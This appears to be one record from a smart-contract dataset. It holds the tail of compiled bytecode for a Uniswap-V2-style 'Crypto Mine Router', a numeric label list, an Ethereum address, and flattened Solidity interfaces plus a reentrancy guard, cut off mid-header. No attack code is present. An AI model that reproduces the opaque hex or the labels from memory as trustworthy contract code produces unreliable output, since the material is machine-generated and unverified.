820183602082011115610c7157600080fd5b803590602001918460208302840111600160201b83111715610c9257600080fd5b91935091506001600160a01b038135169060200135612bed565b6000808242811015610cf3576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b610d22897f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28a8a8a308a612844565b9093509150610d32898685612f6f565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610d9857600080fd5b505af1158015610dac573d6000803e3d6000fd5b50505050610dba85836130d9565b50965096945050505050565b6000610dd38484846131d1565b949350505050565b60608142811015610e21576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21686866000198101818110610e5b57fe5b905060200201356001600160a01b03166001600160a01b031614610eb4576040805162461bcd60e51b815260206004820181905260248201526000805160206145b4833981519152604482015290519081900360640190fd5b610f127f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221898888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506132c192505050565b91508682600184510381518110610f2557fe5b60200260200101511015610f6a5760405162461bcd60e51b815260040180806020018281038252602e81526020018061450c602e913960400191505060405180910390fd5b61100886866000818110610f7a57fe5b905060200201356001600160a01b031633610fee7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218a8a6000818110610fbc57fe5b905060200201356001600160a01b03168b8b6001818110610fd957fe5b905060200201356001600160a01b0316613409565b85600081518110610ffb57fe5b60200260200101516134c9565b61104782878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250309250613626915050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d8360018551038151811061108657fe5b60200260200101516040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156110c457600080fd5b505af11580156110d8573d6000803e3d6000fd5b505050506110fd84836001855103815181106110f057fe5b60200260200101516130d9565b509695505050505050565b60606111357f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221848461386c565b90505b92915050565b600080600061116e7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218f8f613409565b905060008761117d578c611181565b6000195b6040805163d505accf60e01b815233600482015230602482015260448101839052606481018c905260ff8a16608482015260a4810189905260c4810188905290519192506001600160a01b0384169163d505accf9160e48082019260009290919082900301818387803b1580156111f757600080fd5b505af115801561120b573d6000803e3d6000fd5b5050505061121e8f8f8f8f8f8f8f612844565b809450819550505050509b509b9950505050505050505050565b6060814281101561127e576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6112dc7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221898888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506132c192505050565b915086826001845103815181106112ef57fe5b602002602001015110156113345760405162461bcd60e51b815260040180806020018281038252602e81526020018061450c602e913960400191505060405180910390fd5b61134486866000818110610f7a57fe5b6110fd82878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250899250613626915050565b606081428110156113c9576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2168686600019810181811061140357fe5b905060200201356001600160a01b03166001600160a01b03161461145c576040805162461bcd60e51b815260206004820181905260248201526000805160206145b4833981519152604482015290519081900360640190fd5b6114ba7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061386c92505050565b915086826000815181106114ca57fe5b60200260200101511115610f6a5760405162461bcd60e51b815260040180806020018281038252602a81526020018061458a602a913960400191505060405180910390fd5b60008061155d7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218d7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2613409565b905060008661156c578b611570565b6000195b6040805163d505accf60e01b815233600482015230602482015260448101839052606481018b905260ff8916608482015260a4810188905260c4810187905290519192506001600160a01b0384169163d505accf9160e48082019260009290919082900301818387803b1580156115e657600080fd5b505af11580156115fa573d6000803e3d6000fd5b5050505061160c8d8d8d8d8d8d612337565b9d9c50505050505050505050505050565b8042811015611661576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6116d68585600081811061167157fe5b905060200201356001600160a01b0316336116d07f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221898960008181106116b357fe5b905060200201356001600160a01b03168a8a6001818110610fd957fe5b8a6134c9565b6000858560001981018181106116e857fe5b905060200201356001600160a01b03166001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561174d57600080fd5b505afa158015611761573d6000803e3d6000fd5b505050506040513d602081101561177757600080fd5b505160408051602088810282810182019093528882529293506117b99290918991899182918501908490808284376000920191909152508892506139a0915050565b8661186b82888860001981018181106117ce57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231886040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561183357600080fd5b505afa158015611847573d6000803e3d6000fd5b505050506040513d602081101561185d57600080fd5b50519063ffffffff613cab16565b10156118a85760405162461bcd60e51b815260040180806020018281038252602e81526020018061450c602e913960400191505060405180910390fd5b5050505050505050565b600080600084428110156118fb576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b61192a8b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28c348d8d8b613cfb565b9094509250600061197c7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218d7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2613409565b905061198a8c3383886134c9565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0856040518263ffffffff1660e01b81526004016000604051808303818588803b1580156119e557600080fd5b505af11580156119f9573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb82866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611a7e57600080fd5b505af1158015611a92573d6000803e3d6000fd5b505050506040513d6020811015611aa857600080fd5b5051611ab057fe5b806001600160a01b0316636a627842896040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015611b0857600080fd5b505af1158015611b1c573d6000803e3d6000fd5b505050506040513d6020811015611b3257600080fd5b5051925034841015611b4a57611b4a338534036130d9565b50509750975097945050505050565b8042811015611b9d576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21685856000198101818110611bd757fe5b905060200201356001600160a01b03166001600160a01b031614611c30576040805162461bcd60e51b815260206004820181905260248201526000805160206145b4833981519152604482015290519081900360640190fd5b611c408585600081811061167157fe5b611c7e8585808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152503092506139a0915050565b604080516370a0823160e01b815230600482015290516000916001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216916370a0823191602480820192602092909190829003018186803b158015611ce857600080fd5b505afa158015611cfc573d6000803e3d6000fd5b505050506040513d6020811015611d1257600080fd5b5051905086811015611d555760405162461bcd60e51b815260040180806020018281038252602e81526020018061450c602e913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611dbb57600080fd5b505af1158015611dcf573d6000803e3d6000fd5b505050506118a884826130d9565b60608142811015611e23576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031686866000818110611e5a57fe5b905060200201356001600160a01b03166001600160a01b031614611eb3576040805162461bcd60e51b815260206004820181905260248201526000805160206145b4833981519152604482015290519081900360640190fd5b611f117f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221348888808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506132c192505050565b91508682600184510381518110611f2457fe5b60200260200101511015611f695760405162461bcd60e51b815260040180806020018281038252602e81526020018061450c602e913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db083600081518110611fa557fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b158015611fd857600080fd5b505af1158015611fec573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db08360008151811061202d57fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b50505050506120b882878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250899250613626915050565b5095945050505050565b6000610dd3848484614058565b60608142811015612115576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6121737f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061386c92505050565b9150868260008151811061218357fe5b602002602001015111156113345760405162461bcd60e51b815260040180806020018281038252602a81526020018061458a602a913960400191505060405180910390fd5b60008060008442811015612211576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6122208d8d8d8d8d8d8b613cfb565b909450925060006122527f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218f8f613409565b90506122608e3383886134c9565b61226c8d3383876134c9565b806001600160a01b0316636a627842896040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b1580156122c457600080fd5b505af11580156122d8573d6000803e3d6000fd5b505050506040513d60208110156122ee57600080fd5b5051949e939d50939b50919950505050505050505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000610dd3848484614148565b6000814281101561237d576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b6123ac887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28989893089612844565b604080516370a0823160e01b8152306004820152905191945061243092508a9187916001600160a01b038416916370a0823191602480820192602092909190829003018186803b1580156123ff57600080fd5b505afa158015612413573d6000803e3d6000fd5b505050506040513d602081101561242957600080fd5b5051612f6f565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561249657600080fd5b505af11580156124aa573d6000803e3d6000fd5b505050506110fd84836130d9565b80428110156124fc576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b03168585600081811061253357fe5b905060200201356001600160a01b03166001600160a01b03161461258c576040805162461bcd60e51b815260206004820181905260248201526000805160206145b4833981519152604482015290519081900360640190fd5b60003490507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156125ec57600080fd5b505af1158015612600573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb6126657f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221898960008181106116b357fe5b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156126b557600080fd5b505af11580156126c9573d6000803e3d6000fd5b505050506040513d60208110156126df57600080fd5b50516126e757fe5b6000868660001981018181106126f957fe5b905060200201356001600160a01b03166001600160a01b03166370a08231866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561275e57600080fd5b505afa158015612772573d6000803e3d6000fd5b505050506040513d602081101561278857600080fd5b505160408051602089810282810182019093528982529293506127ca9290918a918a9182918501908490808284376000920191909152508992506139a0915050565b8761186b82898960001981018181106127df57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231896040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561183357600080fd5b600080824281101561288b576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b60006128b87f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218c8c613409565b604080516323b872dd60e01b81523360048201526001600160a01b03831660248201819052604482018d9052915192935090916323b872dd916064808201926020929091908290030181600087803b15801561291357600080fd5b505af1158015612927573d6000803e3d6000fd5b505050506040513d602081101561293d57600080fd5b50506040805163226bf2d160e21b81526001600160a01b03888116600483015282516000938493928616926389afcb44926024808301939282900301818787803b15801561298a57600080fd5b505af115801561299e573d6000803e3d6000fd5b505050506040513d60408110156129b457600080fd5b508051602090910151909250905060006129ce8e8e61420a565b509050806001600160a01b03168e6001600160a01b0316146129f15781836129f4565b82825b90975095508a871015612a385760405162461bcd60e51b81526004018080602001828103825260298152602001806144bb6029913960400191505060405180910390fd5b89861015612a775760405162461bcd60e51b81526004018080602001828103825260298152602001806145616029913960400191505060405180910390fd5b505050505097509795505050505050565b7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf7022181565b60606111357f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf7022184846132c1565b6000806000612b297f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218e7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2613409565b9050600087612b38578c612b3c565b6000195b6040805163d505accf60e01b815233600482015230602482015260448101839052606481018c905260ff8a16608482015260a4810189905260c4810188905290519192506001600160a01b0384169163d505accf9160e48082019260009290919082900301818387803b158015612bb257600080fd5b505af1158015612bc6573d6000803e3d6000fd5b50505050612bd88e8e8e8e8e8e610cac565b909f909e509c50505050505050505050505050565b60608142811015612c33576040805162461bcd60e51b815260206004820152601b602482015260008051602061449b833981519152604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031686866000818110612c6a57fe5b905060200201356001600160a01b03166001600160a01b031614612cc3576040805162461bcd60e51b815260206004820181905260248201526000805160206145b4833981519152604482015290519081900360640190fd5b612d217f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218888888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061386c92505050565b91503482600081518110612d3157fe5b60200260200101511115612d765760405162461bcd60e51b815260040180806020018281038252602a81526020018061458a602a913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db083600081518110612db257fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b158015612de557600080fd5b505af1158015612df9573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb612e5e7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221898960008181106116b357fe5b84600081518110612e6b57fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015612ec257600080fd5b505af1158015612ed6573d6000803e3d6000fd5b505050506040513d6020811015612eec57600080fd5b5051612ef457fe5b612f3382878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250899250613626915050565b81600081518110612f4057fe5b60200260200101513411156120b8576120b83383600081518110612f6057fe5b602002602001015134036130d9565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b60208310612fec5780518252601f199092019160209182019101612fcd565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461304e576040519150601f19603f3d011682016040523d82523d6000602084013e613053565b606091505b5091509150818015613081575080511580613081575080806020019051602081101561307e57600080fd5b50515b6130d2576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b602083106131255780518252601f199092019160209182019101613106565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613187576040519150601f19603f3d011682016040523d82523d6000602084013e61318c565b606091505b50509050806131cc5760405162461bcd60e51b81526004018080602001828103825260238152602001806145d46023913960400191505060405180910390fd5b505050565b60008084116132115760405162461bcd60e51b81526004018080602001828103825260268152602001806145f76026913960400191505060405180910390fd5b6000831180156132215750600082115b61325c5760405162461bcd60e51b81526004018080602001828103825260238152602001806144786023913960400191505060405180910390fd5b60006132708561038463ffffffff6142fe16565b90506000613284828563ffffffff6142fe16565b905060006132aa8361329e886103e863ffffffff6142fe16565b9063ffffffff61436116565b90508082816132b557fe5b04979650505050505050565b6060600282511015613316576040805162461bcd60e51b8152602060048201526019602482015278086e4f2e0e8de409ad2dcca7440929cac82989288bea082a89603b1b604482015290519081900360640190fd5b815167ffffffffffffffff8111801561332e57600080fd5b50604051908082528060200260200182016040528015613358578160200160208202803683370190505b509050828160008151811061336957fe5b60200260200101818152505060005b6001835103811015613401576000806133bb8786858151811061339757fe5b60200260200101518786600101815181106133ae57fe5b60200260200101516143b0565b915091506133dd8484815181106133ce57fe5b602002602001015183836131d1565b8484600101815181106133ec57fe5b60209081029190910101525050600101613378565b509392505050565b6000806000613418858561420a565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527ffb4b5de7a65fb42df2149855f5c8cef382fa0de1336c8325c11a0e47d53edf4f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b6020831061354e5780518252601f19909201916020918201910161352f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146135b0576040519150601f19603f3d011682016040523d82523d6000602084013e6135b5565b606091505b50915091508180156135e35750805115806135e357508080602001905160208110156135e057600080fd5b50515b61361e5760405162461bcd60e51b815260040180806020018281038252602481526020018061461d6024913960400191505060405180910390fd5b505050505050565b60005b60018351038110156138665760008084838151811061364457fe5b602002602001015185846001018151811061365b57fe5b6020026020010151915091506000613673838361420a565b509050600087856001018151811061368757fe5b60200260200101519050600080836001600160a01b0316866001600160a01b0316146136b5578260006136b9565b6000835b91509150600060028a510388106136d05788613711565b6137117f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221878c8b6002018151811061370457fe5b6020026020010151613409565b905061373e7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218888613409565b6001600160a01b031663022c0d9f84848460006040519080825280601f01601f19166020018201604052801561377b576020820181803683370190505b506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b03166001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156137ec5781810151838201526020016137d4565b50505050905090810190601f1680156138195780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561383b57600080fd5b505af115801561384f573d6000803e3d6000fd5b505060019099019850613629975050505050505050565b50505050565b60606002825110156138c1576040805162461bcd60e51b8152602060048201526019602482015278086e4f2e0e8de409ad2dcca7440929cac82989288bea082a89603b1b604482015290519081900360640190fd5b815167ffffffffffffffff811180156138d957600080fd5b50604051908082528060200260200182016040528015613903578160200160208202803683370190505b509050828160018351038151811061391757fe5b60209081029190910101528151600019015b8015613401576000806139598786600186038151811061394557fe5b60200260200101518786815181106133ae57fe5b9150915061397b84848151811061396c57fe5b60200260200101518383614058565b84600185038151811061398a57fe5b6020908102919091010152505060001901613929565b60005b60018351038110156131cc576000808483815181106139be57fe5b60200260200101518584600101815181106139d557fe5b60200260200101519150915060006139ed838361420a565b5090506000613a1d7f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218585613409565b9050600080600080846001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015613a5e57600080fd5b505afa158015613a72573d6000803e3d6000fd5b505050506040513d6060811015613a8857600080fd5b5080516020909101516001600160701b0391821693501690506000806001600160a01b038a811690891614613abe578284613ac1565b83835b91509150613b1f828b6001600160a01b03166370a082318a6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561183357600080fd5b9550613b2c8683836131d1565b945050505050600080856001600160a01b0316886001600160a01b031614613b5657826000613b5a565b6000835b91509150600060028c51038a10613b71578a613ba5565b613ba57f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221898e8d6002018151811061370457fe5b604080516000808252602082019283905263022c0d9f60e01b835260248201878152604483018790526001600160a01b038086166064850152608060848501908152845160a48601819052969750908c169563022c0d9f958a958a958a9591949193919260c486019290918190849084905b83811015613c2f578181015183820152602001613c17565b50505050905090810190601f168015613c5c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015613c7e57600080fd5b505af1158015613c92573d6000803e3d6000fd5b50506001909b019a506139a39950505050505050505050565b80820382811115611138576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b60408051623d104160e31b8152336004820152905160009182916001600160a01b037f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf7022116916301e88208916024808301926020929190829003018186803b158015613d6557600080fd5b505afa158015613d79573d6000803e3d6000fd5b505050506040513d6020811015613d8f57600080fd5b5051613de2576040805162461bcd60e51b815260206004820152601a60248201527f43727970746f204d696e653a206163636573732064656e696564000000000000604482015290519081900360640190fd5b6040805163e6a4390560e01b81526001600160a01b038b811660048301528a8116602483015291516000927f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221169163e6a43905916044808301926020929190829003018186803b158015613e5557600080fd5b505afa158015613e69573d6000803e3d6000fd5b505050506040513d6020811015613e7f57600080fd5b50516001600160a01b03161415613f3a5760408051630edef2e760e31b81526001600160a01b038b811660048301528a81166024830152858116604483015291517f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf70221909216916376f79738916064808201926020929091908290030181600087803b158015613f0d57600080fd5b505af1158015613f21573d6000803e3d6000fd5b505050506040513d6020811015613f3757600080fd5b50505b600080613f687f000000000000000000000000ea7d7f3e60a268f46afdfb0c28012a409bf702218c8c6143b0565b91509150816000148015613f7a575080155b15613f8a5788935087925061404a565b6000613f978a8484614148565b9050888111613fea5786811015613fdf5760405162461bcd60e51b81526004018080602001828103825260298152602001806145616029913960400191505060405180910390fd5b899450925082614048565b6000613ff78a8486614148565b90508a81111561400357fe5b888110156140425760405162461bcd60e51b81526004018080602001828103825260298152602001806144bb6029913960400191505060405180910390fd5b94508893505b505b505097509795505050505050565b60008084116140985760405162461bcd60e51b815260040180806020018281038252602781526020018061453a6027913960400191505060405180910390fd5b6000831180156140a85750600082115b6140e35760405162461bcd60e51b81526004018080602001828103825260238152602001806144786023913960400191505060405180910390fd5b60006141076103e86140fb868863ffffffff6142fe16565b9063ffffffff6142fe16565b905060006141216103846140fb868963ffffffff613cab16565b905061413e600182848161413157fe5b049063ffffffff61436116565b9695505050505050565b600080841161419e576040805162461bcd60e51b815260206004820181905260248201527f43727970746f204d696e653a20494e53554646494349454e545f414d4f554e54604482015290519081900360640190fd5b6000831180156141ae5750600082115b6141e95760405162461bcd60e51b81526004018080602001828103825260288152602001806144e46028913960400191505060405180910390fd5b826141fa858463ffffffff6142fe16565b8161420157fe5b04949350505050565b600080826001600160a01b0316846001600160a01b03161415614274576040805162461bcd60e51b815260206004820181905260248201527f43727970746f204d696e653a204944454e544943414c5f414444524553534553604482015290519081900360640190fd5b826001600160a01b0316846001600160a01b031610614294578284614297565b83835b90925090506001600160a01b0382166142f7576040805162461bcd60e51b815260206004820152601960248201527f43727970746f204d696e653a205a45524f5f4144445245535300000000000000604482015290519081900360640190fd5b9250929050565b60008115806143195750508082028282828161431657fe5b04145b611138576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820182811015611138576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b60008060006143bf858561420a565b5090506000806143d0888888613409565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561440857600080fd5b505afa15801561441c573d6000803e3d6000fd5b505050506040513d606081101561443257600080fd5b5080516020909101516001600160701b0391821693501690506001600160a01b0387811690841614614465578082614468565b81815b9099909850965050505050505056fe43727970746f204d696e653a20494e53554646494349454e545f4c495155494449545943727970746f204d696e6520526f757465723a2045585049524544000000000043727970746f204d696e6520526f757465723a20494e53554646494349454e545f415f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f4c495155494449545943727970746f204d696e6520526f757465723a20494e53554646494349454e545f4f55545055545f414d4f554e5443727970746f204d696e653a20494e53554646494349454e545f4f55545055545f414d4f554e5443727970746f204d696e6520526f757465723a20494e53554646494349454e545f425f414d4f554e5443727970746f204d696e6520526f757465723a204558434553534956455f494e5055545f414d4f554e5443727970746f204d696e6520526f757465723a20494e56414c49445f504154485472616e7366657248656c7065723a204554485f5452414e534645525f4641494c454443727970746f204d696e653a20494e53554646494349454e545f494e5055545f414d4f554e545472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220321b96aecd5847587b615d01b60af47eead5789449eb491fc533e8f6f9e9ba9264736f6c63430006060033
[ 16, 5, 12 ]
0xf302f9F50958c5593770FDf4d4812309fF77414f
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: MIT // Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size. // Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using // private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _enterNonReentrant(); _; _exitNonReentrant(); } function _enterNonReentrant() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED _require(_status != _ENTERED, Errors.REENTRANCY); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _exitNonReentrant() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the 